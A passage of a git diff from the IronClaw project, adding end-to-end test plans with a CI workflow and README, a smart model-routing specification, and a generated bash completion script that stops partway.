+ target + ~/.cargo/registry + key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }} + + - name: Build ironclaw (libsql) + run: cargo build --no-default-features --features libsql + + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install E2E dependencies + run: | + cd tests/e2e + pip install -e . + playwright install --with-deps chromium + + - name: Run E2E tests + run: pytest tests/e2e/ -v --timeout=120 + + - name: Upload screenshots on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: e2e-screenshots + path: tests/e2e/screenshots/ + if-no-files-found: ignore +``` + +**Step 2: Commit** + +```bash +git add .github/workflows/e2e.yml +git commit -m "ci: add weekly E2E test workflow with Playwright" +``` + +--- + +### Task 9: README + +**Files:** +- Create: `tests/e2e/README.md` + +**Step 1: Write the README** + +```markdown +# IronClaw E2E Tests + +Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright. + +## Prerequisites + +- Python 3.11+ +- Rust toolchain (for building ironclaw) +- Chromium (installed via Playwright) + +## Setup + +```bash +cd tests/e2e +pip install -e . +playwright install chromium +``` + +## Build ironclaw + +The tests need the ironclaw binary built with libsql support: + +```bash +cargo build --no-default-features --features libsql +``` + +## Run tests + +```bash +# From repo root +pytest tests/e2e/ -v + +# Run a single scenario +pytest tests/e2e/scenarios/test_chat.py -v + +# With visible browser (not headless) +HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v +``` + +## Architecture + +Tests start two subprocesses: +1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses +2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM + +Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions. + +## Scenarios + +| File | What it tests | +|------|--------------| +| `test_connection.py` | Auth, tab navigation, connection status | +| `test_chat.py` | Send message, SSE streaming, response rendering | +| `test_skills.py` | ClawHub search, skill install/remove | + +## Adding new scenarios + +1. Create `tests/e2e/scenarios/test_.py` +2. Use the `page` fixture for a fresh browser page +3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed) +4. Keep tests deterministic -- use the mock LLM, not real providers +``` + +**Step 2: Commit** + +```bash +git add tests/e2e/README.md +git commit -m "docs: E2E test README with setup and usage instructions" +``` + +--- + +### Task 10: Integration test -- run all scenarios end-to-end + +**Step 1: Build ironclaw** + +```bash +cargo build --no-default-features --features libsql +``` + +**Step 2: Run the full E2E suite** + +```bash +pytest tests/e2e/ -v --timeout=120 +``` + +Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable). + +**Step 3: Fix any issues discovered during the run** + +Common issues to watch for: +- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py +- Timing: increase wait timeouts if SSE streaming is slow +- Selectors: update `SEL` dict in helpers.py if frontend elements changed +- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking + +**Step 4: Final commit with any fixes** + +```bash +git add -A tests/e2e/ +git commit -m "fix: E2E test adjustments from integration run" +``` + +--- + +## Summary + +| Task | Files | Description | +|------|-------|-------------| +| 1 | pyproject.toml, __init__.py | Project scaffolding | +| 2 | mock_llm.py | Mock OpenAI-compat server | +| 3 | helpers.py | Selectors and utilities | +| 4 | conftest.py | pytest fixtures | +| 5 | test_connection.py | Scenario 1: connection/tabs | +| 6 | test_chat.py | Scenario 2: chat round-trip | +| 7 | test_skills.py | Scenario 3: skills lifecycle | +| 8 | e2e.yml | CI workflow | +| 9 | README.md | Documentation | +| 10 | (integration run) | Verify everything works | diff --git a/docs/smart-routing-spec.md b/docs/smart-routing-spec.md new file mode 100644 index 00000000..7690a6ce --- /dev/null +++ b/docs/smart-routing-spec.md @@ -0,0 +1,195 @@ +# Smart Model Routing for IronClaw + +**Status:** Implemented +**Author:** Microwave +**Date:** 2026-02-19 + +## What + +Automatic model selection based on request complexity. The router analyzes each user message and selects an appropriate model tier (flash/standard/pro/frontier), then maps that tier to a configured model. + +## Why + +1. **Cost optimization** — Simple requests ("hi", "what time is it") don't need expensive models +2. **User experience** — Simple requests return faster with lightweight models +3. **NEAR AI native** — Default backend uses NEAR AI inference where costs vary by model +4. **Zero-config value** — Users benefit immediately without configuration +5. **Not just power users** — Everyone gets smart defaults, power users can override + +## How + +### Architecture + +``` +User Message + │ + ▼ +┌──────────────────┐ +│ Pattern Overrides │ ← Fast-path for obvious cases (greetings, security audits) +└────────┬─────────┘ + │ no match + ▼ +┌──────────────────┐ +│ Complexity Scorer │ ← 13-dimension analysis +└────────┬─────────┘ + │ score 0-100 + ▼ +┌──────────────────┐ +│ Tier Mapping │ ← 0-15: flash, 16-40: standard, 41-65: pro, 66+: frontier +└────────┬─────────┘ + │ tier + ▼ +┌──────────────────┐ +│ Model Selection │ ← Currently: cheap provider (Flash/Standard/Pro) vs primary (Frontier) +└────────┬─────────┘ Target: per-tier model mapping via config + │ + ▼ + LLM Provider +``` + +### Complexity Scorer (13 Dimensions) + +Each dimension produces a 0-100 score. Weighted sum determines total. + +| Dimension | Weight | Signals | +|-----------|--------|---------| +| Reasoning Words | 14% | "why", "explain", "compare", "trade-offs" | +| Token Estimate | 12% | Prompt length | +| Code Indicators | 10% | Backticks, syntax, "implement", "PR" | +| Multi-Step | 10% | "first", "then", "after", "steps" | +| Domain Specific | 10% | Technical terms (configurable) | +| Creativity | 7% | "write", "summarize", "tweet", "blog" | +| Question Complexity | 7% | Multiple questions, open-ended starters | +| Precision | 6% | Numbers, "exactly", "calculate" | +| Ambiguity | 5% | Vague references | +| Context Dependency | 5% | "previous", "you said" | +| Sentence Complexity | 5% | Commas, conjunctions, clause depth | +| Tool Likelihood | 5% | "read", "deploy", "install" | +| Safety Sensitivity | 4% | "password", "auth", "vulnerability" | + +**Multi-dimensional boost:** +30% when 3+ dimensions score above threshold. + +### Tier Boundaries + +| Score | Tier | Typical Use Case | +|-------|------|------------------| +| 0-15 | flash | Greetings, acknowledgments, quick lookups | +| 16-40 | standard | Writing, comparisons, defined tasks | +| 41-65 | pro | Multi-step analysis, code review | +| 66+ | frontier | Critical decisions, security audits | + +### Pattern Overrides + +Fast-path rules that bypass scoring for obvious cases: + +```yaml +# Force flash tier +- "^(hi|hello|hey|thanks|ok|sure|yes|no)$" +- "^what.*(time|date|day)" + +# Force frontier tier +- "security.*(audit|review|scan)" +- "vulnerabilit(y|ies).*(review|scan|check|audit)" + +# Force pro tier +- "deploy.*(mainnet|production)" +``` + +### Configuration + +> **Note:** The current implementation supports smart routing via +> `NEARAI_CHEAP_MODEL` and `SMART_ROUTING_CASCADE` env vars, plus +> `domain_keywords` on `SmartRoutingConfig`. The full `llm.routing` YAML +> schema below is the target design — not all knobs are wired yet. + +**Default (zero-config):** +```yaml +llm: + routing: + enabled: true # default +``` + +**Power user overrides (target schema):** +```yaml +llm: + routing: + enabled: true + tiers: + flash: "claude-3-5-haiku-latest" + standard: "claude-sonnet-4-5-latest" + pro: "claude-sonnet-4-5-latest" + frontier: "claude-opus-4-5-latest" + thinking: + pro: "low" + frontier: "medium" + overrides: + - pattern: "my-custom-pattern" + tier: "pro" + domain_keywords: # Custom keywords for your domain + - "mycompany" + - "myproduct" + - "internal-tool" +``` + +If `domain_keywords` is not set, uses `DEFAULT_DOMAIN_KEYWORDS` which covers common web3/infra terms. + +**Disable routing (pin model):** +```yaml +llm: + routing: + enabled: false + model: "claude-opus-4-5" +``` + +**Bring your own keys:** +```yaml +llm: + backend: anthropic + api_key: "sk-..." + routing: + enabled: true # still works with external providers +``` + +### Integration Points + +1. **RoutingProvider** — New wrapper implementing `LlmProvider` trait (like `FailoverProvider`) +2. **Scorer** — Pure function, no I/O, fast (~1ms) +3. **Config schema** — Extend `LlmConfig` with `routing` section +4. **Telemetry** — Log routing decisions for observability + +### Model Agnosticism + +**Critical:** No hardcoded model names in the router logic itself. + +- Tier→model mappings come from config +- Default mappings use `-latest` patterns where supported +- NEAR AI backend handles actual model resolution +- Router only knows about tiers + +### Layers of Control + +| Layer | User Type | Config | +|-------|-----------|--------| +| 1. Zero-config | Everyone | `routing.enabled: true` (default) | +| 2. Tier tuning | Power users | Custom `routing.tiers` mapping | +| 3. Pattern overrides | Power users | Custom `routing.overrides` | +| 4. Model pinning | Power users | `routing.enabled: false` + `model: X` | +| 5. Own API keys | Power users | `backend: anthropic` + `api_key` | + +## Implementation Plan + +1. [x] Port scorer to Rust (`src/llm/smart_routing.rs`) +2. [x] Implement router wrapper (`src/llm/smart_routing.rs`) +3. [x] Extend config schema (`src/config.rs`) +4. [x] Wire into provider creation (`src/llm/mod.rs`) +5. [x] Add telemetry/logging +6. [x] Tests with real conversation samples +7. [x] Codex + Gemini security review +8. [x] Documentation updated (this spec) + +## Expected Outcomes + +- **50-70% cost reduction** for typical usage patterns +- **Faster responses** for simple requests +- **Zero config required** for default benefits +- **Full control** for power users who want it diff --git a/ironclaw.bash b/ironclaw.bash new file mode 100644 index 00000000..bf675941 --- /dev/null +++ b/ironclaw.bash @@ -0,0 +1,3053 @@ +_ironclaw() { + local i cur prev opts cmd + COMPREPLY=() + if [[ "${BASH_VERSINFO[0]}" -ge 4 ]]; then + cur="$2" + else + cur="${COMP_WORDS[COMP_CWORD]}" + fi + prev="$3" + cmd="" + opts="" + + for i in "${COMP_WORDS[@]:0:COMP_CWORD}" + do + case "${cmd},${i}" in + ",$1") + cmd="ironclaw" + ;; + ironclaw,claude-bridge) + cmd="ironclaw__claude__bridge" + ;; + ironclaw,completion) + cmd="ironclaw__completion" + ;; + ironclaw,config) + cmd="ironclaw__config" + ;; + ironclaw,doctor) + cmd="ironclaw__doctor" + ;; + ironclaw,help) + cmd="ironclaw__help" + ;; + ironclaw,mcp) + cmd="ironclaw__mcp" + ;; + ironclaw,memory) + cmd="ironclaw__memory" + ;; + ironclaw,onboard) + cmd="ironclaw__onboard" + ;; + ironclaw,pairing) + cmd="ironclaw__pairing" + ;; + ironclaw,run) + cmd="ironclaw__run" + ;; + ironclaw,service) + cmd="ironclaw__service" + ;; + ironclaw,status) + cmd="ironclaw__status" + ;; + ironclaw,tool) + cmd="ironclaw__tool" + ;; + ironclaw,worker) + cmd="ironclaw__worker" + ;; + ironclaw__config,get) + cmd="ironclaw__config__get" + ;; + ironclaw__config,help) + cmd="ironclaw__config__help" + ;; + ironclaw__config,init) + cmd="ironclaw__config__init" + ;; + ironclaw__config,list) + cmd="ironclaw__config__list" + ;; + ironclaw__config,path) + cmd="ironclaw__config__path" + ;; + ironclaw__config,reset) + cmd="ironclaw__config__reset" + ;; + ironclaw__config,set) + cmd="ironclaw__config__set" + ;; + ironclaw__config__help,get) + cmd="ironclaw__config__help__get" + ;; + ironclaw__config__help,help) + cmd="ironclaw__config__help__help" + ;; + ironclaw__config__help,init) + cmd="ironclaw__config__help__init" + ;; + ironclaw__config__help,list) + cmd="ironclaw__config__help__list" + ;; + ironclaw__config__help,path) + cmd="ironclaw__config__help__path" + ;; + ironclaw__config__help,reset) + cmd="ironclaw__config__help__reset" + ;; + ironclaw__config__help,set) + cmd="ironclaw__config__help__set" + ;; + ironclaw__help,claude-bridge) + cmd="ironclaw__help__claude__bridge" + ;; + ironclaw__help,completion) + cmd="ironclaw__help__completion" + ;; + ironclaw__help,config) + cmd="ironclaw__help__config" + ;; + ironclaw__help,doctor) + cmd="ironclaw__help__doctor" + ;; + ironclaw__help,help) + cmd="ironclaw__help__help" + ;; + ironclaw__help,mcp) + cmd="ironclaw__help__mcp" + ;; + ironclaw__help,memory) + cmd="ironclaw__help__memory" + ;; + ironclaw__help,onboard) + cmd="ironclaw__help__onboard" + ;; + ironclaw__help,pairing) + cmd="ironclaw__help__pairing" + ;; + ironclaw__help,run) + cmd="ironclaw__help__run" + ;; + ironclaw__help,service) + cmd="ironclaw__help__service" + ;; + ironclaw__help,status) + cmd="ironclaw__help__status" + ;; + ironclaw__help,tool) + cmd="ironclaw__help__tool" + ;; + ironclaw__help,worker) + cmd="ironclaw__help__worker" + ;; + ironclaw__help__config,get) + cmd="ironclaw__help__config__get" + ;; + ironclaw__help__config,init) + cmd="ironclaw__help__config__init" + ;; + ironclaw__help__config,list) + cmd="ironclaw__help__config__list" + ;; + ironclaw__help__config,path) + cmd="ironclaw__help__config__path" + ;; + ironclaw__help__config,reset) + cmd="ironclaw__help__config__reset" + ;; + ironclaw__help__config,set) + cmd="ironclaw__help__config__set" + ;; + ironclaw__help__mcp,add) + cmd="ironclaw__help__mcp__add" + ;; + ironclaw__help__mcp,auth) + cmd="ironclaw__help__mcp__auth" + ;; + ironclaw__help__mcp,list) + cmd="ironclaw__help__mcp__list" + ;; + ironclaw__help__mcp,remove) + cmd="ironclaw__help__mcp__remove" + ;; + ironclaw__help__mcp,test) + cmd="ironclaw__help__mcp__test" + ;; + ironclaw__help__mcp,toggle) + cmd="ironclaw__help__mcp__toggle" + ;; + ironclaw__help__memory,read) + cmd="ironclaw__help__memory__read" + ;; + ironclaw__help__memory,search) + cmd="ironclaw__help__memory__search" + ;; + ironclaw__help__memory,status) + cmd="ironclaw__help__memory__status" + ;; + ironclaw__help__memory,tree) + cmd="ironclaw__help__memory__tree" + ;; + ironclaw__help__memory,write) + cmd="ironclaw__help__memory__write" + ;; + ironclaw__help__pairing,approve) + cmd="ironclaw__help__pairing__approve" + ;; + ironclaw__help__pairing,list) + cmd="ironclaw__help__pairing__list" + ;; + ironclaw__help__service,install) + cmd="ironclaw__help__service__install" + ;; + ironclaw__help__service,start) + cmd="ironclaw__help__service__start" + ;; + ironclaw__help__service,status) + cmd="ironclaw__help__service__status" + ;; + ironclaw__help__service,stop) + cmd="ironclaw__help__service__stop" + ;; + ironclaw__help__service,uninstall) + cmd="ironclaw__help__service__uninstall" + ;; + ironclaw__help__tool,auth) + cmd="ironclaw__help__tool__auth" + ;; + ironclaw__help__tool,info) + cmd="ironclaw__help__tool__info" + ;; + ironclaw__help__tool,install) + cmd="ironclaw__help__tool__install" + ;; + ironclaw__help__tool,list) + cmd="ironclaw__help__tool__list" + ;; + ironclaw__help__tool,remove) + cmd="ironclaw__help__tool__remove" + ;; + ironclaw__mcp,add) + cmd="ironclaw__mcp__add" + ;; + ironclaw__mcp,auth) + cmd="ironclaw__mcp__auth" + ;; + ironclaw__mcp,help) + cmd="ironclaw__mcp__help" + ;; + ironclaw__mcp,list) + cmd="ironclaw__mcp__list" + ;; + ironclaw__mcp,remove) + cmd="ironclaw__mcp__remove" + ;; + ironclaw__mcp,test) + cmd="ironclaw__mcp__test" + ;; + ironclaw__mcp,toggle) + cmd="ironclaw__mcp__toggle" + ;; + ironclaw__mcp__help,add) + cmd="ironclaw__mcp__help__add" + ;; + ironclaw__mcp__help,auth) + cmd="ironclaw__mcp__help__auth" + ;; + ironclaw__mcp__help,help) + cmd="ironclaw__mcp__help__help" + ;; + ironclaw__mcp__help,list) + cmd="ironclaw__mcp__help__list" + ;; + ironclaw__mcp__help,remove) + cmd="ironclaw__mcp__help__remove" + ;; + ironclaw__mcp__help,test) + cmd="ironclaw__mcp__help__test" + ;; + ironclaw__mcp__help,toggle) + cmd="ironclaw__mcp__help__toggle" + ;; + ironclaw__memory,help) + cmd="ironclaw__memory__help" + ;; + ironclaw__memory,read) + cmd="ironclaw__memory__read" + ;; + ironclaw__memory,search) + cmd="ironclaw__memory__search" + ;; + ironclaw__memory,status) + cmd="ironclaw__memory__status" + ;; + ironclaw__memory,tree) + cmd="ironclaw__memory__tree" + ;; + ironclaw__memory,write) + cmd="ironclaw__memory__write" + ;; + ironclaw__memory__help,help) + cmd="ironclaw__memory__help__help" + ;; + ironclaw__memory__help,read) + cmd="ironclaw__memory__help__read" + ;; + ironclaw__memory__help,search) + cmd="ironclaw__memory__help__search" + ;; + ironclaw__memory__help,status) + cmd="ironclaw__memory__help__status" + ;; + ironclaw__memory__help,tree) + cmd="ironclaw__memory__help__tree" + ;; + ironclaw__memory__help,write) + cmd="ironclaw__memory__help__write" + ;; + ironclaw__pairing,approve) + cmd="ironclaw__pairing__approve" + ;; + ironclaw__pairing,help) + cmd="ironclaw__pairing__help" + ;; + ironclaw__pairing,list) + cmd="ironclaw__pairing__list" + ;; + ironclaw__pairing__help,approve) + cmd="ironclaw__pairing__help__approve" + ;; + ironclaw__pairing__help,help) + cmd="ironclaw__pairing__help__help" + ;; + ironclaw__pairing__help,list) + cmd="ironclaw__pairing__help__list" + ;; + ironclaw__service,help) + cmd="ironclaw__service__help" + ;; + ironclaw__service,install) + cmd="ironclaw__service__install" + ;; + ironclaw__service,start) + cmd="ironclaw__service__start" + ;; + ironclaw__service,status) + cmd="ironclaw__service__status" + ;; + ironclaw__service,stop) + cmd="ironclaw__service__stop" + ;; + ironclaw__service,uninstall) + cmd="ironclaw__service__uninstall" + ;; + ironclaw__service__help,help) + cmd="ironclaw__service__help__help" + ;; + ironclaw__service__help,install) + cmd="ironclaw__service__help__install" + ;; + ironclaw__service__help,start) + cmd="ironclaw__service__help__start" + ;; + ironclaw__service__help,status) + cmd="ironclaw__service__help__status" + ;; + ironclaw__service__help,stop) + cmd="ironclaw__service__help__stop" + ;; + ironclaw__service__help,uninstall) + cmd="ironclaw__service__help__uninstall" + ;; + ironclaw__tool,auth) + cmd="ironclaw__tool__auth" + ;; + ironclaw__tool,help) + cmd="ironclaw__tool__help" + ;; + ironclaw__tool,info) + cmd="ironclaw__tool__info" + ;; + ironclaw__tool,install) + cmd="ironclaw__tool__install" + ;; + ironclaw__tool,list) + cmd="ironclaw__tool__list" + ;; + ironclaw__tool,remove) + cmd="ironclaw__tool__remove" + ;; + ironclaw__tool__help,auth) + cmd="ironclaw__tool__help__auth" + ;; + ironclaw__tool__help,help) + cmd="ironclaw__tool__help__help" + ;; + ironclaw__tool__help,info) + cmd="ironclaw__tool__help__info" + ;; + ironclaw__tool__help,install) + cmd="ironclaw__tool__help__install" + ;; + ironclaw__tool__help,list) + cmd="ironclaw__tool__help__list" + ;; + ironclaw__tool__help,remove) + cmd="ironclaw__tool__help__remove" + ;; + *) + ;; + esac + done + + case "${cmd}" in + ironclaw) + opts="-m -c -h -V --cli-only --no-db --message --config --no-onboard --help --version run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 1 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__claude__bridge) + opts="-m -c -h --job-id --orchestrator-url --max-turns --model --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --job-id) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --orchestrator-url) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --max-turns) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --model) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__completion) + opts="-m -c -h --shell --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --shell) + COMPREPLY=($(compgen -W "bash zsh fish powershell elvish" -- "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help init list get set reset path help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__get) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help) + opts="init list get set reset path help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__get) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__init) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__path) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__reset) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__help__set) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__init) + opts="-o -m -c -h --output --force --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --output) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -o) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__list) + opts="-f -m -c -h --filter --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --filter) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -f) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__path) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__reset) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__config__set) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__doctor) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help) + opts="run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__claude__bridge) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__completion) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) 